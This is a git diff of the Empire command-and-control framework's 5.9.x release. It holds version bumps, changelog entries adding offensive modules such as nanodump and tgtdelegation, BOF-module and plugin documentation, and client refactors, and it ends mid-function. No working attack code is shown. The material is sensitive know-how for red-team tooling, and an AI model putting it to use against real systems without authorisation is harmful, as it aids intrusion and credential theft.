diff --git a/.github/workflows/lint-and-test.yml b/.github/workflows/lint-and-test.yml index a8b04d04d..9cfd3fd07 100644 --- a/.github/workflows/lint-and-test.yml +++ b/.github/workflows/lint-and-test.yml @@ -12,10 +12,10 @@ jobs: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - - uses: psf/black@23.10.1 + - uses: psf/black@23.12.0 - name: Run ruff run: | - pip install ruff==0.1.4 + pip install ruff==0.1.9 ruff . matrix-prep-config: runs-on: ubuntu-latest diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 5938c9c94..775df89ba 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -9,13 +9,13 @@ repos: - id: end-of-file-fixer - repo: https://github.com/astral-sh/ruff-pre-commit - rev: v0.1.4 + rev: v0.1.9 hooks: - id: ruff args: [--fix, --exit-non-zero-on-fix] - repo: https://github.com/psf/black-pre-commit-mirror - rev: 23.10.1 + rev: 23.12.0 hooks: - id: black language_version: python3.10 diff --git a/CHANGELOG.md b/CHANGELOG.md index 0d189c87f..3117eec7f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,6 +14,64 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [5.9.1] - 2024-01-25 + +### Changed + +- Convert agent task output to string before the BEFORE_TASKING_RESULT_HOOK (@Vinnybod) +- Updated tasklist for powershell code to not throw error when GetOwner fails (@Cx01N) + +### Fixed + +- Updated Uvicorn to fix issue where an open browser would cause the shutdown to hang () (@Vinnybod) +- Fixed the fastapi app lifecycle not being properly called on shutdown (@Vinnybod) +- Converted listener threads to daemons so they don't hang the shutdown in Python 3.12 and report `RuntimeError: can't create new thread at interpreter shutdown` (@Vinnybod) +- Log warning about ps/ls hooks and filters not being able to parse the JSON output (@Vinnybod) + +## [5.9.0] - 2024-01-20 + +### Added + +- Added validation and execution exceptions for modules to raise (@Vinnybod) +- Added decorators for module generate functions to automatically get the module_source and call finalize_module (@Vinnybod) +- Added execution exception to plugins (@Vinnybod) +- Added RUF rules to ruff config (@Vinnybod) +- Added SIM rules to ruff config (@Vinnybod) +- Added BOF modules to Empire as yamls (@Cx01N) + - Added ClipBoardWindow-Inject module + - Added nanodump module + - Added secinject module + - Added tgtdelegation module + - Added TrustedSec's SA modules +- Added custom certificate path to server config.yaml (@AaronVigal) + +### Deprecated + +- Returning tuples from module generate functions is deprecated + - To return a 400, raise a `ModuleValidationException` + - To return a 500, raise a `ModuleExecutionException` + - Stop using `handle_error_message` +- Returning tuples from plugin execution functions is deprecated + - To return a 400, raise a `PluginValidationException` + - To return a 500, raise a `PluginExecutionException` +- Loading plugins from a `.plugin` file is deprecated + - Use a `.py` file with a `plugin.yaml` instead +- Extending the `Plugin` class is deprecated + - Use the `BasePlugin` class instead + +### Changed + +- Migrated some Pydantic and FastAPI usage away from deprecated features (@Vinnybod) +- Updated the install script and Docker file from Python 3.12.0 to 3.12.1 (@Vinnybod) +- Upgraded all dependencies with `poetry up` (@Vinnybod) +- Plugin updates (@Vinnybod) + - Plugins have a `plugin.yaml` + - Base plugin class is now `BasePlugin` + - Updated plugin documentation +- Upgraded Black to 23.12.0 (@Vinnybod) +- Upgraded Ruff to 0.1.9 (@Vinnybod) +- Upgraded Seatbelt to 1.2.1 (@Cx01N) + ## [5.8.4] - 2023-12-22 ### Fixed @@ -710,7 +768,11 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.8.4...HEAD +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.9.1...HEAD + +[5.9.1]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.9.0...v5.9.1 + +[5.9.0]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.8.4...v5.9.0 [5.8.4]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.8.3...v5.8.4 diff --git a/Dockerfile b/Dockerfile index 94f0e47b3..73cfcc73d 100644 --- a/Dockerfile +++ b/Dockerfile @@ -7,7 +7,7 @@ # 2) create volume storage: `docker create -v /empire --name data bcsecurity/empire` # 3) run out container: `docker run -it --volumes-from data bcsecurity/empire /bin/bash` -FROM python:3.12.0-bullseye +FROM python:3.12.1-bullseye LABEL maintainer="bc-security" LABEL description="Dockerfile for Empire server and client. https://bc-security.gitbook.io/empire-wiki/quickstart/installation#docker" diff --git a/docs/SUMMARY.md b/docs/SUMMARY.md index c4b7552ed..f99395272 100644 --- a/docs/SUMMARY.md +++ b/docs/SUMMARY.md @@ -31,6 +31,7 @@ * [Starkiller](interfaces/starkiller/README.md) * [Introduction](interfaces/starkiller/introduction.md) * [Plugins](plugins/README.md) + * [Getting Started](plugins/getting-started.md) * [Plugin Development](plugins/plugin-development.md) * [Hooks and Filters](plugins/hooks-and-filters.md) * [Bypasses](bypasses.md) @@ -39,6 +40,7 @@ * [PowerShell Modules](module-development/powershell-modules.md) * [Python Modules](module-development/python-modules.md) * [C# Modules](module-development/c-modules.md) + * [BOF Modules](module-development/bof-modules.md) * [Agents](agents/README.md) * [Python](agents/python/README.md) * [Main Agent Class](agents/python/mainagentclass.md) diff --git a/docs/module-development/bof-modules.md b/docs/module-development/bof-modules.md new file mode 100644 index 000000000..e5fc84f41 --- /dev/null +++ b/docs/module-development/bof-modules.md @@ -0,0 +1,40 @@ +# BOF Modules + +BOF modules are mostly configured the same as powershell modules. + +Where it varies: +* The `script`, `script_path`, and `script_end` fields are not used +* `bof.x86` and `box.x64` refer to the path to the beacon object file for each architecture +* `bof.entry_point` is an optional field for defining the object file entry point +* An `Architecture` field is required + + +In addition, options add the `format` which breaks them into the following categeories: +``` + -i:123 A 32 bit integer (e.g. 123 passed to object file) + -s:12 A 16 bit integer (e.g. 12 passed to object file) + -z:hello An ASCII string (e.g. hello passed to object file) + -Z:hello A string that's converted to wchar (e.g. (wchar_t)hello passed to object file) + -b:aGVsbG8= A base64 encoded binary blob (decoded binary passed to object file) +``` + +The yaml would use the following format: +```yaml +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 + - name: Filepath + description: Filepath to search for permissions. + required: true + value: 'C:\\windows\\system32\\cmd.exe' + format: Z + value: 'alex' +``` + +BOF modules also support the `advanced.custom_generate` method of generating the script. diff --git a/docs/module-development/powershell-modules.md b/docs/module-development/powershell-modules.md index 651c9f7de..ae63abcc8 100644 --- a/docs/module-development/powershell-modules.md +++ b/docs/module-development/powershell-modules.md @@ -63,8 +63,13 @@ The generate function **should** treat these parameters as read only, to not cau ```python class Module(object): @staticmethod - def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = "") -> Tuple[Optiona[str], Optional[str]]: - pass + def generate( + main_menu: MainMenu, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + obfuscation_command: str = "", + ): ``` Examples of modules that use this custom generate function: @@ -73,12 +78,119 @@ Examples of modules that use this custom generate function: * [invoke\_assembly](https://github.com/BC-SECURITY/Empire/blob/master/empire/server/modules/powershell/code\_execution/invoke\_assembly.py) * [seatbelt](https://github.com/BC-SECURITY/Empire/blob/master/empire/server/modules/powershell/situational\_awareness/host/seatbelt.py) -If an error occurs during the execution of the generate function, return the error message using `handle_error_message`, which will ensure that the client receives the error message in the REST response. +#### Error Handling + +If an error occurs during the execution of the generate function and it goes unchecked, +the client will receive a 500 error. + +There are two Exceptions that can be raised by the generate function: +**ModuleValidationException**: This exception should be raised if the module fails validation. This will return a 400 error to the client with the error message. +**ModuleExecutionException**: This exception should be raised if the module fails execution. This will return a 500 error to the client with the error message. + +```python +raise ModuleValidationException("Error Message") +raise ModuleExecutionException("Error Message") +``` + +##### Deprecated + +Previously, it was recommended that the generate function return a tuple of the script and the error. +`handle_error_message` was provided as a helper function to handle this tuple. + +This is no longer recommended, but is still supported. Please migrate away from the tuple return type +to raising exceptions. The tuple return type will be removed in a future major release. + +#### Functions `get_module_source` is used pull the script from the yaml file defined in **script\_path**. Once the script has been loaded, it will determine if obfuscation is enabled and obfuscate it. `finialize_module` will combine the `script` and `script_end` into a single script and then will apply obfuscation, if it is enabled. + +#### Decorators + +`@auto_get_source` is a decorator that will automatically call `get_module_source` and pass the script to the decorated function. +To use this decorator, the function must have a `script` kwarg and the `script_path` must be set in the yaml config. + +```python +@staticmethod +@auto_get_source +def generate( + main_menu: MainMenu, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + obfuscation_command: str = "", + script: str = "", +): + # do stuff + ... + +# The above is the equivalent of: +@staticmethod +def generate( + main_menu: MainMenu, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + obfuscation_command: str = "", +): + # read in the common module source code + script, err = main_menu.modulesv2.get_module_source( + module_name=module.script_path, + obfuscate=obfuscate, + obfuscate_command=obfuscation_command, + ) + + if err: + return handle_error_message(err) + + # do stuff + ... +``` + +`@auto_finalize` is a decorator that will automatically call `finalize_module` on the returned script from the decorated function. + +To use this decorator, the function must not utilize the deprecated tuple return type or the +`handle_error_message` function. First migrate the function to raise exceptions before using this decorator. + +```python +@staticmethod +@auto_finalize +def generate( + main_menu: MainMenu, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + obfuscation_command: str = "", +): + # Do stuff + + return script, script_end + +# The above is the equivalent of: +@staticmethod +def generate( + main_menu: MainMenu, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + obfuscation_command: str = "", +): + # Do stuff + + script, script_end = main_menu.modulesv2.finalize_module( + script=script, + script_end=script_end, + obfuscate=obfuscate, + obfuscate_command=obfuscation_command, + ) + + return script +``` + + + ### String Formatting **option\_format\_string:** This tells Empire how to format all of the options before injecting them into the `script_end`. In most cases, the default option format string will be fine: `-{{ KEY }} "{{ VALUE }}"`. diff --git a/docs/plugins/README.md b/docs/plugins/README.md index 5ca791782..1f0bd3a98 100644 --- a/docs/plugins/README.md +++ b/docs/plugins/README.md @@ -1,6 +1,9 @@ # Plugins -Plugins are an extension of Empire that allow for custom scripts to be loaded. This allows anyone to easily build or add community projects to extend Empire functionality. Plugins can be accessed from the Empire client or the API as long as the plugin follows the [template example](https://github.com/BC-SECURITY/Empire/blob/master/empire/server/plugins/example.py). A list of Empire Plugins is located here. +Plugins are an extension of Empire that allow for custom scripts to be loaded. +This allows anyone to build or add community projects to extend Empire functionality. +Plugins can be accessed from the Empire client or the API as long as the plugin follows +the [template example](https://github.com/BC-SECURITY/Empire/blob/master/empire/server/plugins/example.py). A list of Empire Plugins is located here. ## Empire Plugins @@ -15,4 +18,3 @@ Plugins are an extension of Empire that allow for custom scripts to be loaded. T | [Nmap-Plugin](https://github.com/BC-SECURITY/Nmap-Plugin) | Nmap-Plugin gives a way to interface directly from Empire to [Nmap](https://nmap.org/) and send commands through [Python3-Nmap](https://github.com/nmmapper/python3-nmap). | [![nmap](https://user-images.githubusercontent.com/20302208/120945236-1feb5f80-c6ed-11eb-9ca3-160c66d4c447.gif)](https://user-images.githubusercontent.com/20302208/120945236-1feb5f80-c6ed-11eb-9ca3-160c66d4c447.gif) | @Cx01N | X | | [Twilio-Plugin](https://github.com/BC-SECURITY/Twilio-Plugin) | The Twilio Plugin is meant to show the possibilities of the Hooks feature implemented in Empire 4.1. It sends a text message every time an agent connects. | | @Vinnybod | | | [denylist-plugin](https://github.com/BC-SECURITY/denylist-plugin) | The purpose of this plugin is to block certain IP addresses from connecting to the server. It is to showcase the event-driven nature of the hook system. | | @Vinnybod | | - diff --git a/docs/plugins/getting-started.md b/docs/plugins/getting-started.md new file mode 100644 index 000000000..66d2a69b8 --- /dev/null +++ b/docs/plugins/getting-started.md @@ -0,0 +1,30 @@ +# Plugins Getting Started + +This page will walk you through the process of creating a plugin for Empire using +the hello world plugin as an example. The hello world plugin is an example plugin +that can be found in the `empire/server/plugins/example` directory. + +``` +empire/server/plugins/example +├── __init__.py +├── example.py +└── plugin.yaml +``` + +The `plugin.yaml` configuration will likely be expanded on in the future, but for now +it only contains one property: `main`. This is the name of the python file within the +plugin's directory that contains the plugin class. + +```yaml +main: example.py +``` + +The `example.py` file contains the plugin class. The class must be named `Plugin` +and must inherit from `empire.server.common.plugins.BasePlugin`. + +```python +class Plugin(BasePlugin): + ... +``` + +To get into the details of the plugin, move onto the [plugin development](./plugin-development.md) page. diff --git a/docs/plugins/plugin-development.md b/docs/plugins/plugin-development.md index 59a358822..c93286742 100644 --- a/docs/plugins/plugin-development.md +++ b/docs/plugins/plugin-development.md @@ -10,6 +10,20 @@ The execute function is the entry point for the plugin. It is called when the pl If the plugin doesn't have `**kwargs`, then no kwargs will be sent. This is to ensure backwards compatibility with plugin pre-5.2. +### Error Handling + +If an error occurs during the execution of the plugin and it goes unchecked, +the client will receive a 500 error. + +There are two Exceptions that can be raised by the plugin execution function: +**PluginValidationException**: This exception should be raised if the plugin fails validation. This will return a 400 error to the client with the error message. +**PluginExecutionException**: This exception should be raised if the plugin fails execution. This will return a 500 error to the client with the error message. + +```python +raise PluginValidationException("Error Message") +raise PluginExecutionException("Error Message") +``` + ### Response Before the plugin's execute function is called, the core Empire code will validate the command arguments. If the arguments are invalid, the API will return a 400 error with the error message. @@ -19,8 +33,15 @@ The execute function can return a String, a Boolean, or a Tuple of (Any, String) * None - The execution will be considered successful. * String - The string will be displayed to the user executing the plugin and the execution will be considered successful. * Boolean - If the boolean is True, the execution will be considered successful. If the boolean is False, the execution will be considered failed. + +#### Deprecated + * Tuple - The tuple must be a tuple of (Any, String). The second value in the tuple represents an error message. The string will be displayed to the user executing the plugin and the execution will be considered failed. +This is deprecated. +Instead of returning an error message in a tuple, raise a `PluginValidationException` or `PluginExecutionException`. + + ```python def execute(self, command, **kwargs): ... @@ -31,22 +52,11 @@ def execute(self, command, **kwargs): # return True # Failed execution + # raise PluginValidationException("Error Message") + # raise PluginExecutionException("Error Message") # return False, "Execution failed" ``` -### Custom Exceptions - -If the plugin raises a `PluginValidationException`, the API will return a 400 error with the error message. - -```python -from empire.server.core.exceptions import PluginValidationException - -def execute(self, command, **kwargs): - ... - - raise PluginValidationException("This is a validation error") -``` - ## Plugin Tasks Plugins can store tasks. The data model looks pretty close to Agent tasks. This is for agent executions that: @@ -137,6 +147,19 @@ def do_something(): ## Event-based functionality (hooks and filters) This is outlined in [Hooks and Filters](./hooks-and-filters.md). +## Importing other python files + +If you want to import other python files in your plugin, you can do so by importing +them relative to `empire.server.plugins`. For example, if you have a file called +`example_helpers.py` in the same directory as your plugin, you can import it like so: + +```python +from empire.server.plugins.example import example_helpers +``` + +**Note**: Relative imports will not work. For example, the example plugin cannot +import `example_helpers.py` with `from . import example_helpers`. + ## 4->5 Changes Not a lot has changed for plugins in Empire 5.0. We've just added a few guard rails for better stability between Empire versions. @@ -156,9 +179,8 @@ This is no different than the way things were pre 5.0. * `plugin_socketio_message` was moved from `MainMenu` to `plugin_service`. * Example conversion for a 5.0 plugin can be seen in [ChiselServer-Plugin](https://github.com/BC-SECURITY/ChiselServer-Plugin/compare/5.0) - ## Future Work * improved plugin logging - - Give plugins indidual log files like listeners have. Make those logs accessible via Starkiller. + Give plugins individual log files like listeners have. Make those logs accessible via Starkiller. * endpoint for installing plugins - A user would be able to provide the URL to a git repository and Empire would download and install the plugin. diff --git a/docs/quickstart/configuration/server.md b/docs/quickstart/configuration/server.md index 84773c2f9..e439919b5 100644 --- a/docs/quickstart/configuration/server.md +++ b/docs/quickstart/configuration/server.md @@ -4,11 +4,12 @@ The Server configuration is managed via [empire/server/config.yaml](https://gith * **suppress-self-cert-warning** - Suppress the http warnings when launching an Empire instance that uses a self-signed cert. -* **api** - Configure the RESTful API. The only option is the port to run the API on. +* **api** - Configure the RESTful API. This includes the port to run the API on, as well as the path for the SSL certificates. If `empire-priv.key` and `empire-chain.pem` are not found in this directory, self-signed certs will be generated. ```yaml api: port: 1337 + cert_path: empire/server/data/ ``` * **database** - Configure Empire's database. Empire defaults to SQLite and has the ability to run with MySQL. For more info on the database, see the [Database](database/README.md) section. diff --git a/empire/client/client.py b/empire/client/client.py index a2e31f94f..053d2a7a3 100644 --- a/empire/client/client.py +++ b/empire/client/client.py @@ -1,3 +1,4 @@ +import contextlib import logging import re import shlex @@ -269,7 +270,7 @@ def main(self): def parse_command_line(self, text: str, cmd_line: list[str], resource_file=False): if len(cmd_line) == 0: return - if not state.connected and not cmd_line[0] == "connect": + if not state.connected and cmd_line[0] != "connect": if cmd_line[0] == "exit": choice = input(print_util.color("[>] Exit? [y/N] ", "red")) if choice.lower() == "y": @@ -404,29 +405,25 @@ def parse_command_line(self, text: str, cmd_line: list[str], resource_file=False pass elif cmd_line[0] == "help" and len(cmd_line) > 1: func = None - try: + with contextlib.suppress(Exception): func = getattr( menu_state.current_menu if hasattr(menu_state.current_menu, cmd_line[1]) else self, cmd_line[1], ) - except Exception: - pass if func: print(func.__doc__) else: func = None - try: + with contextlib.suppress(Exception): func = getattr( menu_state.current_menu if hasattr(menu_state.current_menu, cmd_line[0]) else self, cmd_line[0], ) - except Exception: - pass if func: try: @@ -434,14 +431,13 @@ def parse_command_line(self, text: str, cmd_line: list[str], resource_file=False # doesn't interpret it as a parameter. Also concatenate all the words # after the 3rd word for easier autofilling with suggested values that have spaces # There may be a better way to do this. - if cmd_line[0] == "set": - if len(cmd_line) > 3: - cmd_line[2] = f'"{" ".join(cmd_line[2:])}"' - del cmd_line[3:] + if cmd_line[0] == "set" and len(cmd_line) > 3: + cmd_line[2] = f'"{" ".join(cmd_line[2:])}"' + del cmd_line[3:] args = self.strip(docopt(func.__doc__, argv=cmd_line[1:])) new_args = {} # todo casting for type hinted values? - for key in get_type_hints(func).keys(): + for key in get_type_hints(func): if key != "return": new_args[key] = args[key] func(**new_args) @@ -450,11 +446,13 @@ def parse_command_line(self, text: str, cmd_line: list[str], resource_file=False pass except SystemExit: pass - elif not func and menu_state.current_menu_name == "InteractMenu": - if cmd_line[0] in shortcut_handler.get_names( - self.menus["InteractMenu"].agent_language - ): - menu_state.current_menu.execute_shortcut(cmd_line[0], cmd_line[1:]) + elif ( + not func + and menu_state.current_menu_name == "InteractMenu" + and cmd_line[0] + in shortcut_handler.get_names(self.menus["InteractMenu"].agent_language) + ): + menu_state.current_menu.execute_shortcut(cmd_line[0], cmd_line[1:]) def setup_logging(args): diff --git a/empire/client/src/Shortcut.py b/empire/client/src/Shortcut.py index 8ae9d44be..ed65891c0 100644 --- a/empire/client/src/Shortcut.py +++ b/empire/client/src/Shortcut.py @@ -23,16 +23,16 @@ def __init__( name: str, module: str | None = None, shell: str | None = None, - params: list[ShortcutParam] = None, + params: list[ShortcutParam] | None = None, ): if not module and not shell: log.error("Shortcut must have either a module or shell command") raise TypeError self.name = name - self.shell = None if not shell else shell + self.shell = shell if shell else None self.module = module - self.params = [] if not params else params + self.params = params if params else [] def get_dynamic_params(self) -> list[ShortcutParam]: return list(filter(lambda x: x.dynamic, self.params)) diff --git a/empire/client/src/menus/AdminMenu.py b/empire/client/src/menus/AdminMenu.py index f42f2fb91..876a3043b 100644 --- a/empire/client/src/menus/AdminMenu.py +++ b/empire/client/src/menus/AdminMenu.py @@ -110,10 +110,7 @@ def create_user( Usage: create_user """ - if admin == "True": - admin = True - else: - admin = False + admin = admin == "True" options = { "username": username, @@ -124,9 +121,9 @@ def create_user( response = state.create_user(options) # Return results and error message - if "id" in response.keys(): + if "id" in response: log.info(f"Added user: {username}") - elif "detail" in response.keys(): + elif "detail" in response: log.error(["detail"]) @command @@ -141,9 +138,9 @@ def disable_user(self, user_id: str): response = state.edit_user(user_id, user) # Return results and error message - if "id" in response.keys(): + if "id" in response: log.info(f"Disabled user: {user['username']}") - elif "detail" in response.keys(): + elif "detail" in response: log.error(response["detail"]) @command @@ -158,9 +155,9 @@ def enable_user(self, user_id: str): response = state.edit_user(user_id, user) # Return results and error message - if "id" in response.keys(): + if "id" in response: log.info(f"Enabled user: {user['username']}") - elif "detail" in response.keys(): + elif "detail" in response: log.error(["detail"]) @command @@ -170,7 +167,7 @@ def malleable_profile(self, profile_name: str): Usage: malleable_profile """ - if profile_name in state.profiles.keys(): + if profile_name in state.profiles: record_list = [] for key, value in state.profiles[profile_name].items(): record_list.append([print_util.color(key, "blue"), value]) @@ -198,10 +195,10 @@ def load_malleable_profile( response = state.add_malleable_profile(post_body) - if "id" in response.keys(): + if "id" in response: log.info(f"Added {post_body['name']} to database") state.get_malleable_profile() - elif "detail" in response.keys(): + elif "detail" in response: log.error(response["detail"]) @command @@ -217,10 +214,10 @@ def delete_malleable_profile( profile_id = state.get_malleable_profile()[profile_name]["id"] response = state.delete_malleable_profile(profile_id) - if "id" in response.keys(): + if "id" in response: log.info(f"Deleted {profile_name} from database") state.get_malleable_profile() - elif "detail" in response.keys(): + elif "detail" in response: log.error(response["detail"]) @command @@ -236,9 +233,9 @@ def upload(self, file_directory: str): if data: response = state.upload_file(filename, data) - if "id" in response.keys(): + if "id" in response: log.info(f"Uploaded {filename} to server") - elif "detail" in response.keys(): + elif "detail" in response: log.error(["detail"]) else: log.error("Invalid file path") @@ -253,7 +250,7 @@ def download(self, filename: str): file_id = state.server_files[filename]["id"] response = state.download_file(file_id) - if "location" in response.keys(): + if "location" in response: link = response["location"] filename = response["filename"] @@ -264,11 +261,11 @@ def download(self, filename: str): f.write(data) log.info(f"Downloaded {filename} from server") - elif "detail" in response.keys(): + elif "detail" in response: log.error(response["detail"]) @command - def preobfuscate(self, reobfuscate: str = None): + def preobfuscate(self, reobfuscate: str | None = None): """ Preobfuscate modules on the server. If reobfuscate is false, will not obfuscate modules that have already been obfuscated. @@ -283,11 +280,11 @@ def preobfuscate(self, reobfuscate: str = None): # Return results and error message if response.status_code == 202: log.info("Preobfuscating modules...") - elif "detail" in response.keys(): + elif "detail" in response: log.error(response["detail"]) @command - def keyword_obfuscation(self, keyword: str, replacement: str = None): + def keyword_obfuscation(self, keyword: str, replacement: str | None = None): """ Add keywords to be obfuscated from commands. Empire will generate a random word if no replacement word is provided. diff --git a/empire/client/src/menus/AgentMenu.py b/empire/client/src/menus/AgentMenu.py index 870ea1a79..f57903c2a 100644 --- a/empire/client/src/menus/AgentMenu.py +++ b/empire/client/src/menus/AgentMenu.py @@ -110,7 +110,7 @@ def kill(self, agent_name: str) -> None: ) if choice.lower() == "y": if agent_name == "all": - for agent_name in state.get_agents().keys(): + for agent_name in state.get_agents(): self.kill_agent(agent_name) elif agent_name == "stale": for agent_name, agent in state.get_agents().items(): diff --git a/empire/client/src/menus/CredentialMenu.py b/empire/client/src/menus/CredentialMenu.py index 2a45bcffa..204f1c5ba 100644 --- a/empire/client/src/menus/CredentialMenu.py +++ b/empire/client/src/menus/CredentialMenu.py @@ -102,7 +102,7 @@ def remove(self, cred_id: str) -> None: ) ) if choice.lower() == "y": - for key in state.credentials.keys(): + for key in state.credentials: self.remove_credential(key) else: self.remove_credential(cred_id) diff --git a/empire/client/src/menus/EditListenerMenu.py b/empire/client/src/menus/EditListenerMenu.py index 60faec62f..d45f0b169 100644 --- a/empire/client/src/menus/EditListenerMenu.py +++ b/empire/client/src/menus/EditListenerMenu.py @@ -74,7 +74,7 @@ def execute(self): # Hopefully this will force us to provide more info in api errors ;) post_body = {} temp_record = {} - for key in self.record_options.keys(): + for key in self.record_options: post_body[key] = self.record_options[key]["value"] temp_record["options"] = post_body @@ -86,9 +86,9 @@ def execute(self): response = state.edit_listener( state.listeners[self.selected]["id"], temp_record ) - if "id" in response.keys(): + if "id" in response: log.info("Listener " + temp_record["name"] + " edited") - elif "detail" in response.keys(): + elif "detail" in response: log.error(response["detail"]) # re-enable listener @@ -96,9 +96,9 @@ def execute(self): response = state.edit_listener( state.listeners[self.selected]["id"], temp_record ) - if "id" in response.keys(): + if "id" in response: log.info("Listener " + temp_record["name"] + " enabled") - elif "detail" in response.keys(): + elif "detail" in response: log.error("[!] Error: " + response["detail"]) diff --git a/empire/client/src/menus/InteractMenu.py b/empire/client/src/menus/InteractMenu.py index 165608e8f..d4ca8edd0 100644 --- a/empire/client/src/menus/InteractMenu.py +++ b/empire/client/src/menus/InteractMenu.py @@ -83,14 +83,16 @@ def get_completions(self, document, complete_event, cmd_line, word_before_cursor display=files.split("/")[-1], start_position=-len(word_before_cursor), ) - elif position - 1 >= len(params) and position > 1: - if params[position - 2].lower() == "file": - if len(cmd_line) > 1 and cmd_line[1] == "-p": - file = state.search_files() - if file: - yield Completion( - file, start_position=-len(word_before_cursor) - ) + elif ( + position - 1 >= len(params) + and position > 1 + and params[position - 2].lower() == "file" + and len(cmd_line) > 1 + and cmd_line[1] == "-p" + ): + file = state.search_files() + if file: + yield Completion(file, start_position=-len(word_before_cursor)) elif cmd_line[0] in ["view"]: tasks = state.get_agent_tasks(self.session_id, 100) @@ -156,7 +158,7 @@ def use(self, agent_name: str) -> None: Usage: use """ state.get_agents() - if agent_name in state.agents.keys(): + if agent_name in state.agents: self.name = agent_name self.selected = state.agents[agent_name]["session_id"] self.session_id = state.agents[agent_name]["session_id"] @@ -176,7 +178,7 @@ def shell(self, shell_cmd: str, literal: bool = False) -> None: """ literal = bool(literal) # docopt parses into 0/1 response = state.agent_shell(self.session_id, shell_cmd, literal) - if "status" in response.keys(): + if "status" in response: log.info( "Tasked " + self.session_id + " to run Task " + str(response["id"]) ) @@ -189,7 +191,7 @@ def sysinfo(self) -> None: Usage: sysinfo """ response = state.sysinfo(self.session_id) - if "status" in response.keys(): + if "status" in response: log.info( "Tasked " + self.session_id + " to run Task " + str(response["id"]) ) @@ -214,7 +216,7 @@ def script_import(self, local_script_location: str) -> None: log.info( "Tasked " + self.selected + " to run Task " + str(response["id"]) ) - elif "detail" in response.keys(): + elif "detail" in response: log.error(response["detail"]) else: @@ -233,7 +235,7 @@ def script_command(self, script_cmd: str) -> None: "[*] Tasked " + self.session_id + " to run Task " + str(response["id"]) ) - elif "detail" in response.keys(): + elif "detail" in response: log.error("[!] Error: " + response["detail"]) @command @@ -253,19 +255,19 @@ def upload(self, local_file_directory: str, remote_file_directory: str) -> None: if data: response = state.upload_file(filename, data) - if "id" in response.keys(): + if "id" in response: log.info(f"Uploaded {filename} to server") # If successful upload then pass to agent response = state.agent_upload_file( self.session_id, response["id"], file_path=remote_file_directory ) - if "id" in response.keys(): + if "id" in response: log.info("Tasked " + self.selected + " to upload file " + filename) - elif "detail" in response.keys(): + elif "detail" in response: log.error(response["detail"]) - elif "detail" in response.keys(): + elif "detail" in response: log.error(response["detail"]) else: log.error("Invalid file path") @@ -363,7 +365,7 @@ def update_comms(self, listener_name: str) -> None: if "id" in response: log.info("Updated agent " + self.selected + " listener " + listener_name) - elif "detail" in response.keys(): + elif "detail" in response: log.error(response["detail"]) @command @@ -377,7 +379,7 @@ def kill_date(self, kill_date: str) -> None: if "id" in response: log.info("Updated agent " + self.selected + " kill_date to " + kill_date) - elif "detail" in response.keys(): + elif "detail" in response: log.error(response["detail"]) @command @@ -427,7 +429,7 @@ def history(self, number_tasks: int): response = state.get_agent_tasks(self.session_id, str(number_tasks)) - if "records" in response.keys(): + if "records" in response: tasks = response["records"] for task in tasks: if task.get("output"): @@ -436,7 +438,7 @@ def history(self, number_tasks: int): print(print_util.color(line)) else: log.error(f'Task {task["id"]} No tasking results received') - elif "detail" in response.keys(): + elif "detail" in response: log.error(response["detail"]) @command @@ -475,7 +477,7 @@ def execute_shortcut(self, command_name: str, params: list[str]): self.shell(shortcut.shell) return - if not len(params) == len(shortcut.get_dynamic_param_names()): + if len(params) != len(shortcut.get_dynamic_param_names()): return None # todo log message if shortcut.module not in state.modules: @@ -492,7 +494,7 @@ def execute_shortcut(self, command_name: str, params: list[str]): # TODO Still haven't figured out other data types. Right now everything is a string. # Which I think is how it is in the old cli - for key in module_options.keys(): + for key in module_options: if key in shortcut.get_dynamic_param_names(): # Grab filename, send to server, and save a copy off in the downloads folder if key in ["File"]: @@ -505,10 +507,10 @@ def execute_shortcut(self, command_name: str, params: list[str]): log.error("Invalid filename or file does not exist") return response = state.upload_file(filename, data) - if "id" in response.keys(): + if "id" in response: log.info("File uploaded to server successfully") post_body.get("options")["File"] = response["id"] - elif "detail" in response.keys(): + elif "detail" in response: if response["detail"].startswith("[!]"): msg = response["detail"] else: @@ -534,7 +536,7 @@ def execute_shortcut(self, command_name: str, params: list[str]): log.info( "[*] Tasked " + self.selected + " to run Task " + str(response["id"]) ) - elif "detail" in response.keys(): + elif "detail" in response: log.error(response["detail"]) @command @@ -566,7 +568,7 @@ def vnc(self) -> None: post_body = {} post_body["options"] = {} - for key in module_options.keys(): + for key in module_options: post_body["options"][key] = str(module_options[key]["value"]) post_body["module_id"] = "csharp_vnc_vncserver" @@ -646,7 +648,7 @@ def kill_job(self, task_id: int) -> None: if "id" in response: print( print_util.color( - "[*] Tasked " + self.selected + f" to kill task {str(task_id)}" + "[*] Tasked " + self.selected + f" to kill task {task_id!s}" ) ) diff --git a/empire/client/src/menus/MainMenu.py b/empire/client/src/menus/MainMenu.py index 2ed0bc42d..d57dba23d 100644 --- a/empire/client/src/menus/MainMenu.py +++ b/empire/client/src/menus/MainMenu.py @@ -44,9 +44,10 @@ def get_completions(self, document, complete_event, cmd_line, word_before_cursor word_before_cursor, empire_config.yaml.get("servers", []) ): yield Completion(server, start_position=-len(word_before_cursor)) - elif position_util(cmd_line, 1, word_before_cursor): - if "connect".startswith(word_before_cursor): - yield Completion("connect", start_position=-len(word_before_cursor)) + elif position_util( + cmd_line, 1, word_before_cursor + ) and "connect".startswith(word_before_cursor): + yield Completion("connect", start_position=-len(word_before_cursor)) yield from super().get_completions( document, 